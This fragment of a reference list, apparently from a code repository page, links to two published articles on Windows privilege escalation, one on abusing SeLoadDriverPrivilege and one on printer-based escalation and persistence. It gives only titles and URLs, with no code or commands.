* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)
View Git Blame Copy Permalink